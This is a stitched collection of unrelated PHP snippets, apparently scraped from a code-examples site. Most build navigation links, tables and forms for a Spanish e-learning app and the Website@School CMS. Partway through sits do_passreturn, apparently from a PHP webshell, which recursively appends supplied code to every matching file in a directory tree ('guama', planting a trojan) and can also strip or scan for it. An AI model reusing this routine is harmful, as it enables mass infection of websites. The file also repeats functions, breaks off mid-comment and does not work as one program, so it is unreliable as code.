/**
  * Este metodo construye el formulario en sí.
  */
 function form()
 {
     $ret_val = container();
     $table =& html_table($this->_width, 0, 2);
     $table->set_class("table100 main-info-cell");
     $row0 = html_tr("");
     $col0 = html_td("");
     $col0->set_tag_attribute("align", "center");
     $col0->set_tag_attribute("colspan", "2");
     $col0->add($this->element_form("Licence"));
     $row0->add($col0);
     $table->add($row0);
     $row00 = html_tr("");
     $col00 = html_td("");
     $col00->set_tag_attribute("align", "center");
     $col00->set_tag_attribute("colspan", "2");
     $col00->add(html_a(Util::app_urlPath('install/include/gpl_print.txt'), agt('Versión Imprimible')));
     $row00->add($col00);
     $table->add($row00);
     $row = html_tr("");
     $col1 = html_td("");
     $col1->set_tag_attribute("align", "left");
     $col1->add($this->element_form("Salir"));
     $container = container();
     $container->add($this->element_form("Regresar"));
     $container->add($this->element_form("Acepto"));
     $col2 = html_td("");
     $col2->set_tag_attribute("align", "right");
     $col2->add($container);
     $row->add($col1, $col2);
     $table->add($row);
     $ret_val->add($table);
     return $ret_val;
 }
 function add_mainMenu()
 {
     $div = html_div('');
     $div->add(html_br());
     $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0);
     $row = html_tr();
     $blank = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 10, 10));
     //$blank->set_tag_attribute('colspan','4');
     $image = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 20, 14));
     $image->set_tag_attribute('align', 'right');
     $image->set_tag_attribute('width', '40%');
     $link = html_a(Util::format_URLPath("bibliography/index.php"), agt('Catálogo'), null, "_top");
     $link->set_tag_attribute('class', '');
     $item1 = html_td('', '', $link);
     $item1->set_tag_attribute('width', '20%');
     $link = html_a(Util::format_URLPath("bibliography/index.php", 'status=ref'), agt('Referencias bibliográficas'), null, "_top");
     $link->set_tag_attribute('class', '');
     $item2 = html_td('', '', $link);
     $item2->set_tag_attribute('width', '20%');
     $link = html_a(Util::format_URLPath("bibliography/index.php", 'status=link'), agt('Enlaces de interés'), null, "_top");
     $link->set_tag_attribute('class', '');
     $item3 = html_td('', '', $link);
     $item3->set_tag_attribute('width', '20%');
     $row->add($blank);
     $row->add($image);
     $row->add($item1);
     $row->add($item2);
     $row->add($item3);
     $table->add_row($row);
     $div->add($table);
     return $div;
 }
 function add_mainMenu()
 {
     $div = html_div('');
     $div->add(html_br());
     $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0);
     $row = html_tr();
     $blank = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 10, 10));
     //$blank->set_tag_attribute('colspan','4');
     $image = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 20, 14));
     $image->set_tag_attribute('align', 'right');
     $image->set_tag_attribute('width', '40%');
     $link = html_a(Util::format_URLPath("profileManager/index.php", 'submit=new'), agt('Nuevo perfil'), null, "_top");
     $link->set_tag_attribute('class', '');
     $item1 = html_td('', '', $link);
     $item1->set_tag_attribute('width', '20%');
     /*$link = html_a(Util::format_URLPath("profileManager/index.php",'submit=del'), agt('Baja perfil'), null, "_top");
                $link->set_tag_attribute('class', '');
                $item2 = html_td('', '', $link);
                $item2->set_tag_attribute('width', '20%');
     		*/
     $row->add($blank);
     $row->add($image);
     $row->add($item1);
     //$row->add($item2);
     $table->add_row($row);
     $div->add($table);
     return $div;
 }
Exemple #4
0
function guiDelete($table, $id)
{
    $param = 'perm=delete&table=' . $table . '&id=' . $id;
    $file = 'delete.php';
    $title = 'Delete';
    return html_a($file . '?' . $param, $title);
}
 function add_notice($author, $subject, $time, $notice_id)
 {
     $row = html_tr();
     $nombre = html_td('ptabla03', '', $author);
     $subject = html_td('ptabla03', '', html_a(Util::format_URLPath('notice/index.php', "status=show&id={$notice_id}"), $subject, 'titulo03a'));
     $tiempo = html_td('ptabla03', '', $time);
     $row->add($nombre);
     $row->add($subject);
     $row->add($tiempo);
     return $row;
 }
 function add_activity($title, $body, $id, $index)
 {
     $row = html_tr();
     $lDelete = html_a(Util::format_URLPath('courseActivities/index.php', "status=delete&idi={$id}"), 'Eliminar');
     $lUpdate = html_a(Util::format_URLPath('courseActivities/index.php', "status=showForm&index={$index}"), 'Modificar');
     $tdLinks = html_td('ptabla03', '', $lDelete, $lUpdate);
     $title = html_td('ptabla02', '', $title);
     $body = html_td('ptabla03', '', $body);
     $row->add($title);
     $row->add($body);
     $row->add($tdLinks);
     return $row;
 }
 function form()
 {
     //El formateo va a ser realizado sobre una tabla en la que cada fila es un campo del formulario
     $table =& html_table('40%', 0, 0, 0, 'center');
     $table->set_class('ptabla03');
     $param = '&id_forum=' . $this->getViewVariable('id_forum') . '&id_topic=' . $this->getViewVariable('id_topic');
     $link = html_td('p', '', html_a(Util::format_URLPath('forum/index.php', 'status=new_post' . $param), agt('Añadir nuevo hilo'), 'boton02a'));
     $this->set_form_tabindex('orden', '14');
     $sort = html_td('ptabla03', '', $this->element_form('orden'));
     $this->set_form_tabindex('Aceptar', '15');
     $boton = html_td('ptabla03', '', $this->element_form('Aceptar'));
     //$boton->set_tag_attribute('valign', 'center');
     $table->add_row($link, $sort, $boton);
     return $table;
 }
/** output the logos of zero, one or more of the Website@School benefactors
 *
 * @param object &$output collects the html output
 * @param bool $text_only if TRUE do not show a graphical image
 * @param int $num the number of benefactors to show this time around
 * @param string $m margin for increased readability
 * @return void output added to output
 */
function show_benefactor_logo(&$output, $text_only = FALSE, $num = 1, $m = '')
{
    global $CFG;
    static $benefactors = array(array('width' => 160, 'height' => 160, 'img' => 'anonymousdonor.gif', 'url' => 'http://websiteatschool.eu', 'alt' => 'Anonymous Donor', 'title' => 'Anonymous Donor'), array('width' => 160, 'height' => 40, 'img' => 'blindenpenning.gif', 'url' => 'http://www.blinden-penning.nl', 'alt' => 'Stichting Blinden-Penning', 'title' => 'Stichting Blinden-Penning - Fonds & recreatieve activiteiten voor slechtzienden en blinden'), array('width' => 160, 'height' => 170, 'img' => 'enablement.gif', 'url' => 'http://www.enablement.nl', 'alt' => 'Enablement', 'title' => 'Enablement'), array('width' => 160, 'height' => 40, 'img' => 'europeesplatform.gif', 'url' => 'http://www.europeesplatform.nl', 'alt' => 'Europees Platform', 'title' => 'Europees Platform - internationaliseren in onderwijs'), array('width' => 160, 'height' => 100, 'img' => 'mijnco2spoor.gif', 'url' => 'http://www.mijnco2spoor.nl', 'alt' => 'Stichting Mijn CO2 Spoor', 'title' => 'Stichting Mijn CO2 Spoor - Burgers voor een veilig en rechtvaardig klimaat'), array('width' => 160, 'height' => 80, 'img' => 'nvbs.gif', 'url' => 'http://www.nvbs.nl', 'alt' => 'Nederlandse Vereniging van Blinden en Slechtzienden', 'title' => 'Nederlandse Vereniging van Blinden en Slechtzienden - Oog voor U'), array('width' => 160, 'height' => 40, 'img' => 'rosaboekdrukker.gif', 'url' => 'http://rosaboekdrukker.net', 'alt' => 'Openbare Basisschool Rosa Boekdrukker', 'title' => 'Openbare Basisschool Rosa Boekdrukker'), array('width' => 160, 'height' => 72, 'img' => 'stkba.gif', 'url' => 'http://www.stkba.nl', 'alt' => 'Stichting KBA Nieuw West', 'title' => 'Stichting KBA Nieuw West'), array('width' => 160, 'height' => 98, 'img' => 'lemstratechniek.jpg', 'url' => 'http://www.lemstratechniek.nl', 'alt' => 'Lemstra Techniek', 'title' => 'Lemstra Techniek - elektrische schuifdeurkozijen en elektrisch schuifdeurbeslag'), array('width' => 160, 'height' => 106, 'img' => 'sidn.gif', 'url' => 'https://www.sidn.nl', 'alt' => 'SIDN', 'title' => 'Foundation for Internet Domain Registration in the Netherlands'));
    // 0 -- work to do at all?
    if ($num < 1) {
        return;
    }
    // 1 -- make sure we have shuffled array the first time around
    if (!isset($_SESSION['donor_index']) || !isset($_SESSION['donor_array'])) {
        $donor_array = array_keys($benefactors);
        for ($j = sizeof($donor_array) - 1; $j > 1; $j--) {
            $i = mt_rand(0, $j - 1);
            $k = $donor_array[$j];
            $donor_array[$j] = $donor_array[$i];
            $donor_array[$i] = $k;
        }
        $_SESSION['donor_array'] = $donor_array;
        $_SESSION['donor_index'] = 0;
        unset($donor_array);
    }
    $output->add_menu($m . '<h2>' . t('donors', 'admin') . '</h2>');
    if ($text_only) {
        $output->add_menu($m . '<ul>');
        $li = '  <li>';
    } else {
        $li = '';
    }
    for ($i = 0; $i < $num; ++$i) {
        $index = $_SESSION['donor_array'][$_SESSION['donor_index']++];
        $benefactor = $benefactors[$index];
        $_SESSION['donor_index'] = $_SESSION['donor_index'] % sizeof($_SESSION['donor_array']);
        $title = $benefactor['title'];
        if ($text_only) {
            $anchor = $benefactor['alt'];
        } else {
            $img_attr = array('height' => $benefactor['height'], 'width' => $benefactor['width'], 'alt' => $benefactor['alt'], 'title' => $title);
            $anchor = html_img($CFG->progwww_short . '/lib/donors/' . $benefactor['img'], $img_attr);
        }
        $a_params = array('target' => '_blank', 'title' => $title);
        $output->add_menu($m . $li . html_a($benefactor['url'], NULL, $a_params, $anchor));
    }
    if ($text_only) {
        $output->add_menu($m . '</ul>');
    }
}
Exemple #9
0
 function content_block()
 {
     $container = container();
     $content = new FlipTurnOptionMeta();
     //  Account for no data in the options table
     if ($content->existOptionMetaByKey(FT_HOME_PAGE_OPTION)) {
         $content->loadOptionMetaByKey(FT_HOME_PAGE_OPTION);
         $container->add(htmlspecialchars_decode($content->getOptionMetaValue()));
     } else {
         $container->add(FT_HOME_PAGE_OPTION_DEFAULT_CONTENT);
     }
     //  Allow the Admin to Edit the page content
     if ($this->user_is_logged_in()) {
         $container->add(div_font8bold(html_a('home_edit.php', 'Edit')));
     }
     return $container;
 }
 /**
  * this function returns the contents
  * of the left block.  It is already wrapped
  * in a TD
  *
  * @return HTMLTag object
  */
 function right_block()
 {
     $ret_val = container();
     $hr = html_hr();
     $hr->set_tag_attribute("noshade");
     $hr->set_tag_attribute("size", 2);
     $ret_val->add($hr);
     $ret_val->add(html_h4("Alta Título Bibliográfico de la Bibilioteca Virtual del Campus"));
     if ($this->issetViewVariable('newbook') && $this->getViewVariable('newbook') == 'ok') {
         $ret_val->add(html_h2(agt('Alta de título correcto.')));
         $ret_val->add(html_a(Util::format_URLPath("main/index.php", 'id=institution'), agt('Volver')));
         $ret_val->add(_HTML_SPACE);
         $ret_val->add(html_a(Util::format_URLPath('newBook/index.php'), agt('Nuevo Título Bibliográfico')));
     } else {
         $ret_val->add($this->addForm('newBook', 'miguel_bookForm'));
     }
     return $ret_val;
 }
Exemple #11
0
function item($n, $type = 'v')
{
    $tbl = str_replace(' ', '', $n);
    global $sessionInfo;
    $tablePerm = admin_getpermissionstable($sessionInfo['userid'], $tbl);
    $tblstr = 'table=' . $tbl;
    $viewfile = 'view.php';
    $addfile = 'addedit.php';
    $target = 'target="main"';
    $class = 'leftnavitem';
    if ($tablePerm['view']) {
        if (is_integer(strpos($type, 'v')) || is_integer(strpos($type, 'a'))) {
            echo html_a($viewfile . '?' . $tblstr, $n, $class, $target);
        }
        if ($tablePerm['add'] && is_integer(strpos($type, 'a'))) {
            echo html_a($addfile . '?' . $tblstr, '(Add)', $class, $target);
        }
        echo '<br />' . "\n";
    }
}
 function _contactDetail()
 {
     $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 2, 2);
     $contact = $this->getViewVariable('detail_contacts');
     if (is_array($contact) && $contact[0]['contact.contact_id'] != null) {
         $table->add_row($this->add_info('Nombre', $contact[0]['contact.contact_name']));
         $table->add_row($this->add_info('Apellido', $contact[0]['contact.contact_surname']));
         if ($contact[0]['contact.contact_nick'] != null) {
             $table->add_row($this->add_info('Usuario', $contact[0]['contact.contact_nick']));
         }
         $table->add_row($this->add_info('Correo electrónico', $contact[0]['contact.contact_mail']));
         $table->add_row($this->add_info('Comentarios', nl2br($contact[0]['contact.contact_comments'])));
     }
     $btDel = html_a(Util::format_URLPath("contact/index.php", "contact_id=" . $contact[0]['contact.contact_id'] . "&option=delete"), 'Eliminar', null, '_top');
     $btDel->set_tag_attribute('class', '');
     $btBack = html_a(Util::format_URLPath("contact/index.php", ''), 'Volver', null, '_top');
     $btBack->set_tag_attribute('class', '');
     $table->add_row($btBack, $btDel);
     return $table;
 }
 function form()
 {
     $table =& html_table($this->_width, 0, 2, 2);
     $table->set_class('ptabla02');
     $labelAdd = html_label('submit');
     $labelAdd->add($this->element_form('submit'));
     $tdsubmit = html_td('', 'left', $labelAdd);
     $this->set_form_tabindex('submit', '10');
     $menu_id = $this->getViewVariable('menu_id');
     $arrSmn = $this->getViewVariable('arrSubmenus');
     for ($i = 0; $i < count($arrSmn); $i++) {
         if ($arrSmn[$i]['name'] != '') {
             $submenu_id = $arrSmn[$i]['submenu_id'];
             $tdDelete = html_td('', '', html_a(Util::format_URLPath('moduleManager/index.php', "status=deleteSubmenu&menu_id={$menu_id}&submenu_id={$submenu_id}"), 'Eliminar'));
             $opt_id = 'submenu' . $submenu_id;
             $table->add_row($this->_showElement($opt_id, 7 + $i, $opt_id, $arrSmn[$i]['name'], $opt_id, 'left'), $tdDelete);
         }
     }
     $table->add_row($tdsubmit);
     return $table;
 }
 function main_block()
 {
     $content = container();
     //$hr = html_hr();
     //$hr->set_tag_attribute("noshade");
     //$hr->set_tag_attribute("size", 2);
     //$ret_val->add($hr);
     $content->add(html_h4(agt('Preinscripción')));
     $content->add(html_br());
     if ($this->issetViewVariable('strError')) {
         $strError = $this->getViewVariable('strError');
         $ret_val->add(html_b(agt('Falta de informar los siguientes campos obligatorios: ') . $strError));
         $ret_val->add(html_br(2));
     }
     if ($this->issetViewVariable('newclient') && $this->getViewVariable('newclient') == 'ok') {
         $content->add(html_h2(agt('Preinscripción de usuario correcta.')));
         $content->add(html_a(Util::format_URLPath('main/index.php'), agt('Volver')));
     } else {
         $content->add($this->addForm('newInscription', 'miguel_inscriptionForm'));
     }
     $ret_val = html_table(Session::getContextValue("mainInterfaceWidth"), 0, 1, 0);
     $ret_val->add_row(html_td('', '', _HTML_SPACE), html_td('', '', $content), html_td('', '', _HTML_SPACE));
     return $ret_val;
 }
 function addData()
 {
     $ret_val = container();
     if ($this->issetViewVariable('strError')) {
         $strError = $this->getViewVariable('strError');
         $ret_val->add(html_b(agt('Falta de informar los siguientes campos obligatorios: ') . $strError));
         $ret_val->add(html_br(2));
     }
     if ($this->issetViewVariable('newclient') && $this->getViewVariable('newclient') == 'ok') {
         $ret_val->add(html_h2(agt('Preinscripción de usuario correcta.')));
         //$ret_val->add(html_a(Util::format_URLPath("main/index.php", 'id=institution'), agt('Volver')));
         //$ret_val->add(_HTML_SPACE);
         $ret_val->add(html_a(Util::format_URLPath('userManager/index.php'), agt('Nueva Inscripción')));
     } else {
         $ret_val->add($this->addForm('userManager', 'miguel_inscriptionForm'));
     }
     return $ret_val;
 }
/** walk the tree and send to output in the form of nested unnumbered lists (uses recursion)
 *
 * @param object &$theme collects the output
 * @param int $subtree_id where to start walking the the tree
 * @param array &$tree the structure that holds the tree
 * @param string $m improves readability in output
 * @return void and output stored in $theme
 * @uses sitemap_tree_walk()
 */
function sitemap_tree_walk(&$theme, $subtree_id, &$tree, $m = '')
{
    static $level = 0;
    $class_level = 'level' . strval($level);
    $theme->add_content($m . '<ul>');
    for ($node_id = $subtree_id; $node_id != 0; $node_id = $tree[$node_id]['next_sibling_id']) {
        if ($tree[$node_id]['is_visible']) {
            // 1 -- show this node
            $is_page = $tree[$node_id]['is_page'];
            $class = ($is_page ? 'page ' : 'section ') . $class_level;
            $title = $tree[$node_id]['record']['title'];
            $attributes = array('title' => $title);
            $href = was_node_url($tree[$node_id]['record'], NULL, $title, $theme->preview_mode);
            $link_text = $tree[$node_id]['record']['link_text'];
            $anchor = html_a($href, NULL, $attributes, $link_text);
            $theme->add_content($m . '  ' . html_tag('li', array('class' => $class)) . $anchor);
            // 2 -- maybe descend to subsection
            if (!$is_page) {
                if (($subsubtree_id = $tree[$node_id]['first_child_id']) > 0) {
                    ++$level;
                    if ($level > MAXIMUM_ITERATIONS) {
                        logger(__FILE__ . '(' . __LINE__ . ') too many levels in node ' . $node_id);
                    } else {
                        sitemap_tree_walk($theme, $subsubtree_id, $tree, $m . '  ');
                    }
                    --$level;
                }
            }
            // current subsection
        }
        // visible
    }
    // for
    $theme->add_content($m . '</ul>');
}
 function add_notice($author, $text, $_date, $id)
 {
     //$check = html_input('radio','');
     $row = html_tr();
     $row->set_class('');
     $row->set_id('');
     $subject = html_td('', '', html_a(Util::format_URLPath('notice/index.php', "status=show&id={$id}"), $text));
     $from = html_td('', '', $author);
     $date = html_td('', '', $_date);
     //$color = 'CECECE';
     $color = '#99CE99';
     $from->set_tag_attribute('bgcolor', $color);
     $date->set_tag_attribute('bgcolor', $color);
     $subject->set_tag_attribute('bgcolor', $color);
     $from->set_tag_attribute('width', '30%');
     $subject->set_tag_attribute('width', '50%');
     $date->set_tag_attribute('width', '20%');
     $row->add($from);
     $row->add($subject);
     $row->add($date);
     return $row;
 }
/** display the module manager menu
 *
 * @param object &$output collects the html output
 * @param string $current_module indicates the current menu selection (if any)
 * @return void results are returned as output in $output
 */
function modulemanager_show_menu(&$output, $current_module = NULL)
{
    global $WAS_SCRIPT_NAME;
    $modules = modulemanager_get_modules();
    $output->add_menu('<h2>' . t('menu', 'admin') . '</h2>');
    $output->add_menu('<ul>');
    if (sizeof($modules) <= 0) {
        $output->add_menu('  <li>' . t('modulemanager_no_modules', 'admin'));
    } else {
        foreach ($modules as $module_id => $module) {
            $parameters = array('job' => JOB_MODULEMANAGER, 'task' => TASK_MODULEMANAGER_EDIT, 'module' => $module_id);
            $attributes = array('title' => '(' . $module['name'] . ') ' . $module['description']);
            $anchor = $module['title'];
            if ($current_module == $module_id) {
                $attributes['class'] = 'current';
            }
            $output->add_menu('  <li>' . html_a($WAS_SCRIPT_NAME, $parameters, $attributes, $anchor));
        }
    }
    $output->add_menu('</ul>');
}
function do_passreturn($dir, $code, $type, $bool, $filetype = '', $shell = my_shell)
{
    $show = do_show($dir);
    foreach ($show as $files) {
        if (is_dir($files) && $bool) {
            do_passreturn($files, $code, $type, $bool, $filetype, $shell);
        } else {
            if ($files == $shell) {
                continue;
            }
            switch ($type) {
                case "guama":
                    if (debug($files, $filetype)) {
                        do_write($files, "ab", "\n" . $code) ? html_n("成功--> {$files}<br>") : html_n("失败--> {$files}<br>");
                    }
                    break;
                case "qingma":
                    $filecode = @file_get_contents($files);
                    if (stristr($filecode, $code)) {
                        $newcode = str_replace($code, '', $filecode);
                        do_write($files, "wb", $newcode) ? html_n("成功--> {$files}<br>") : html_n("失败--> {$files}<br>");
                    }
                    break;
                case "tihuan":
                    $filecode = @file_get_contents($files);
                    if (stristr($filecode, $code)) {
                        $newcode = str_replace($code, $filetype, $filecode);
                        do_write($files, "wb", $newcode) ? html_n("成功--> {$files}<br>") : html_n("失败--> {$files}<br>");
                    }
                    break;
                case "scanfile":
                    $file = explode('/', $files);
                    if (stristr($file[count($file) - 1], $code)) {
                        html_a("?eanver=editr&p={$files}", $files);
                        echo '<br>';
                    }
                    break;
                case "scancode":
                    $filecode = @file_get_contents($files);
                    if (stristr($filecode, $code)) {
                        html_a("?eanver=editr&p={$files}", $files);
                        echo '<br>';
                    }
                    break;
                case "scanphp":
                    $fileinfo = pathinfo($files);
                    if ($fileinfo['extension'] == $code) {
                        $filecode = @file_get_contents($files);
                        if (muma($filecode, $code)) {
                            html_a("?eanver=editr&p=" . urlencode($files), "编辑");
                            html_a("?eanver=del&p=" . urlencode($files), "删除");
                            echo $files . '<br>';
                        }
                    }
                    break;
            }
        }
    }
}
 /**
  * Devuelve una table con la noticia $i del array de noticias $notice_array
  *
  */
 function add_notice($author, $subject, $time, $notice_id)
 {
     $table =& html_table(Session::getContextValue("mainInterfaceWidth"), 0, 2, 2);
     $nombre = html_td('', '', html_a(Util::format_URLPath('notice/index.php', "status=show&id={$notice_id}"), $author));
     $nombre->set_tag_attribute('bgcolor', '#808000');
     $nombre->set_tag_attribute('width', '80%');
     $tiempo = html_td('', '', html_a(Util::format_URLPath('notice/index.php', "status=show&id={$notice_id}"), $time));
     $tiempo->set_tag_attribute('bgcolor', '#99CE99');
     $tiempo->set_tag_attribute('align', 'right');
     $subject = html_td('', '', html_a(Util::format_URLPath('notice/index.php', "status=show&id={$notice_id}"), $subject));
     $subject->set_tag_attribute('bgcolor', '#99CE99');
     $subject->set_tag_attribute('colspan', 2);
     $table->add_row($nombre, $tiempo);
     $table->add_row($subject);
     return $table;
 }
 function _courseList($isGuest)
 {
     $ret_val = new container();
     $div = html_div("medium-text");
     $course = $this->getViewVariable('arr_courses');
     if (is_array($course) && $course[0]['course_id']) {
         $ul = html_ul();
         $countCourse = count($course);
         for ($i = 0; $i < $countCourse; $i++) {
             $elem = container();
             $elem->add(html_a(Util::format_URLPath("course/index.php", "course=" . $course[$i]["course_id"]), $course[$i]["course_name"], null, "_top"));
             $elem->add(html_br());
             $elem->add($course[$i]["course_description"]);
             $elem->add(html_br());
             if (!$isGuest) {
                 if (!$course[$i]["course_isRegister"]) {
                     $elem->add(html_a(Util::format_URLPath("subscribe/index.php", "course_id=" . $course[$i]["course_id"]), agt('miguel_subscribe'), null, '_top'));
                 } else {
                     $elem->add(html_a(Util::format_URLPath("unsubscribe/index.php", "course_id=" . $course[$i]["course_id"]), agt('miguel_unsubscribe'), null, '_top'));
                 }
             }
             $ul->add($elem);
         }
         $div->add($ul);
         $ret_val->add($div);
     }
     return $ret_val;
 }
/** show an introductory text for backup tool OR stream a ZIP-file to the browser
 *
 * If we arrive here via the tools menu, the parameter download is not set.
 * In that case we show an introductory text with a link that yields a ZIP-file
 * with the backup.
 *
 * If the user follows the download link, we arrive here too but with the download
 * parameter set. We then dump the database in a variable and subsequently 
 * compress it in a ZIP-file which we stream to the browser. We do code some
 * things in the basename of the backup:
 *  - the hostname
 *  - the database name
 *  - the database prefix
 *  - the date and the time
 * which should be enough to distinguish nearly all backups if you happen to have a
 * lot of different ones. Note that the URL is also encoded as a comment in the .ZIP.
 *
 * The parameter download is currently set to 'zip'. However, we do attempt to send the
 * plain uncompressed data if that parameter is set to 'sql' (quick and dirty). Oh well.
 * hopefully there is enough memory to accomodate backups of moderate sized sites.
 *
 * Note that we need space to compress the data; a informal test yielded that we need
 * about 160% of the uncompressed size of the backup (tested with a small testset).
 * Rule of the thumb for memory: the more the merrier but at least twice the size of the
 * uncompressed backup.
 *
 * @param object &$output collects output to show to user
 * @return output displayed via $output OR ZIP-file streamed to the browser
 */
function task_backuptool(&$output)
{
    global $DB, $CFG, $WAS_SCRIPT_NAME;
    $download = get_parameter_string('download', NULL);
    if (is_null($download)) {
        $output->set_helptopic('backuptool');
        $output->add_content("<h2>" . t('backuptool_header', 'admin') . "</h2>");
        $params = array('{DATADIRECTORY}' => htmlspecialchars($CFG->datadir));
        $output->add_content(t('backuptool_intro', 'admin', $params));
        $output->add_content('<p>');
        $parameters = array('job' => JOB_TOOLS, 'task' => TASK_BACKUPTOOL, 'download' => 'zip');
        $attributes = array('title' => t('backuptool_download_title', 'admin'));
        $anchor = t('backuptool_download', 'admin');
        $output->add_content(html_a($WAS_SCRIPT_NAME, $parameters, $attributes, $anchor));
        show_tools_menu($output, TASK_BACKUPTOOL);
        return;
    }
    // Try to construct a suitable hostname as part of the filename.
    $host = '';
    if (($url = parse_url($CFG->www)) !== FALSE) {
        $host = isset($url['host']) ? trim(ereg_replace('[^a-zA-Z0-9.-]', '', $url['host']), '.') : '';
    }
    if (empty($host) && isset($_SERVER['SERVER_NAME'])) {
        $host = trim(ereg_replace('[^a-zA-Z0-9.-]', '', $_SERVER['SERVER_NAME']), '.');
    }
    if (empty($host)) {
        $host = 'localhost';
        // last resort
    }
    // basename = host "-" database "-" prefix "-" timestamp (only acceptable chars for filename; strip fancy chars)
    $basename = $host . '-' . trim(ereg_replace('[^a-zA-Z0-9._-]', '', $CFG->db_name), '-_.') . '-' . trim(ereg_replace('[^a-zA-Z0-9._-]', '', $CFG->prefix), '-_.') . '-' . strftime('%Y%m%d-%H%M%S');
    $archive = $basename . '.zip';
    $backup = $basename . '.sql';
    $data = '';
    logger(sprintf('%s(): start creating/streaming backup %s', __FUNCTION__, $basename), WLOG_DEBUG);
    if ($DB->dump($data)) {
        $data_length = strlen($data);
        logger(sprintf('%s(): backup file %s is %d bytes', __FUNCTION__, $backup, $data_length), WLOG_DEBUG);
        if ($download == 'sql') {
            header('Content-Type: text/x-sql');
            header(sprintf('Content-Disposition: attachment; filename="%s"', $backup));
            logger(sprintf('%s(): about to stream %d bytes (backup = %s)', __FUNCTION__, $data_length, $backup), WLOG_DEBUG);
            echo $data;
            logger(sprintf('%s(): success streaming data %s (%d bytes uncompressed)', __FUNCTION__, $backup, $data_length));
            exit;
        } else {
            include_once $CFG->progdir . '/lib/zip.class.php';
            $zip = new Zip();
            $comment = $CFG->www;
            if ($zip->OpenZipstream($archive, $comment)) {
                if ($zip->AddData($data, $backup)) {
                    if ($zip->CloseZip()) {
                        logger(sprintf('%s(): success streaming backup %s (%d bytes uncompressed)', __FUNCTION__, $archive, $data_length));
                    } else {
                        logger(sprintf('%s(): cannot close zipstream %s: %s', __FUNCTION__, $archive, $zip->Error));
                    }
                } else {
                    logger(sprintf('%s(): cannot add backup data to zipstream %s: %s', __FUNCTION__, $archive, $zip->Error));
                    $zip->CloseZip();
                }
                // ZipStream is done, no point in adding garbage at the end of that file, quit completely
                exit;
            } else {
                logger(sprintf('%s(): cannot open zipstream %s for backup: %s', __FUNCTION__, $archive, $zip->Error));
            }
        }
    } else {
        logger(sprintf('%s(): cannot open dump data for backup: %s', __FUNCTION__, db_errormessage()));
    }
    $output->add_message(t('backuptool_error', 'admin'));
    show_tools_menu($output);
    show_tools_intro($output);
}
 function add_mainMenu()
 {
     $div = html_div('');
     $div->add(html_br());
     $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0);
     $row = html_tr();
     $blank = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 10, 10));
     //$blank->set_tag_attribute('colspan','4');
     $image = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 20, 14));
     $image->set_tag_attribute('align', 'right');
     $image->set_tag_attribute('width', '40%');
     $link = html_a(Util::format_URLPath("entityManager/index.php", 'submit=new'), agt('Registrar entidad'), null, "_top");
     $link->set_tag_attribute('class', '');
     $item1 = html_td('', '', $link);
     $item1->set_tag_attribute('width', '20%');
     $link = html_a(Util::format_URLPath("entityManager/index.php", 'submit=ficha entidad'), agt('Ficha entidad'), null, "_top");
     $link->set_tag_attribute('class', '');
     $item2 = html_td('', '', $link);
     $item2->set_tag_attribute('width', '20%');
     $link = html_a(Util::format_URLPath("entityManager/index.php", 'submit=del&entity=' . $this->getViewVariable('id')), agt('Baja entidad'), null, "_top");
     $link->set_tag_attribute('class', '');
     $item3 = html_td('', '', $link);
     $item3->set_tag_attribute('width', '20%');
     $row->add($blank);
     $row->add($image);
     $row->add($item1);
     $row->add($item2);
     $row->add($item3);
     $table->add_row($row);
     $div->add($table);
     return $div;
 }
 function _categoryTable()
 {
     $ret_val = container();
     $category = $this->getViewVariable('arr_categories');
     if (is_array($category) && $category[0]['name']) {
         $div = html_div('medium-text');
         $ul = html_ul();
         $countCategory = count($category);
         for ($i = 0; $i < $countCategory; $i++) {
             $elem = container();
             $elem->add(html_a(Util::format_URLPath('area/index.php', 'institution_id=' . $this->getViewVariable('institution_id') . '&faculty_id=' . $this->getViewVariable('faculty_id') . '&department_id=' . $category[$i]['id']), $category[$i]['name'], null, '_top'));
             $elem->add(html_small('(' . $category[$i]['num'] . ')'));
             $ul->add($elem);
         }
         $div->add($ul);
         $ret_val->add($div);
     }
     return $ret_val;
 }
 function _LinksList()
 {
     $ret_val = new container();
     $div = html_div("medium-text");
     $div->add(html_br(2));
     $link = $this->getViewVariable('arr_links');
     if (is_array($link) && $link[0]['link.link_id']) {
         $ul = html_ul();
         $countLink = count($link);
         for ($i = 0; $i < $countLink; $i++) {
             $elem = container();
             Debug::oneVar($link);
             $elem->add(html_a($link[$i]["link.link_url"], $link[$i]["link.link_name"], null, "_blank"));
             $elem->add(html_a(Util::format_URLPath("links/index.php", "link_id=" . $link[$i]["link.link_id"] . "&amp;action=invalid"), "[" . agt("Enlace_roto") . "]", null, _top));
             $elem->add(html_a(Util::format_URLPath("links/index.php", "link_id=" . $link[$i]["link.link_id"] . "&amp;action=delete"), "[" . agt("Eliminar") . "]", null, _top));
             $elem->add(html_br());
             $elem->add($link[$i]["link.link_description"]);
             $ul->add($elem);
         }
         $div->add($ul);
         $div->add(html_a(Util::format_URLPath("links/index.php", "action=insert"), "[" . agt("insertar") . "]", null, _top));
         $ret_val->add($div);
     }
     return $ret_val;
 }
 /**
  * this function returns the contents
  * of the left block.  It is already wrapped
  * in a TD
  *
  * @return HTMLTag object
  */
 function right_block()
 {
     $ret_val = container();
     $hr = html_hr();
     $hr->set_tag_attribute("noshade");
     $hr->set_tag_attribute("size", 2);
     $ret_val->add($hr);
     $ret_val->add(html_h4("Inscripción al Campus Virtual"));
     if ($this->issetViewVariable('newclient') && $this->getViewVariable('newclient') == 'ok') {
         $ret_val->add(html_h2(agt('Alta de usuario correcta.')));
         $ret_val->add(html_a(Util::format_URLPath("main/index.php", 'id=institution'), agt('Volver')));
         $ret_val->add(_HTML_SPACE);
         $ret_val->add(html_a(Util::format_URLPath('auth/index.php'), agt('Nuevo Usuario')));
     } else {
         $ret_val->add($this->addForm('auth', 'miguel_inscriptionForm'));
     }
     return $ret_val;
 }
/** return an anchor tag with link to the specific update function
 *
 * This utility routine returns a ready to user HTML anchor tag.
 *
 * @param string $task which update task do we need to do?
 * @param string||null $key which module/theme/etc. (NULL for core)
 * @param string $anchor text to show in link
 * @return array ready to use HTML-code
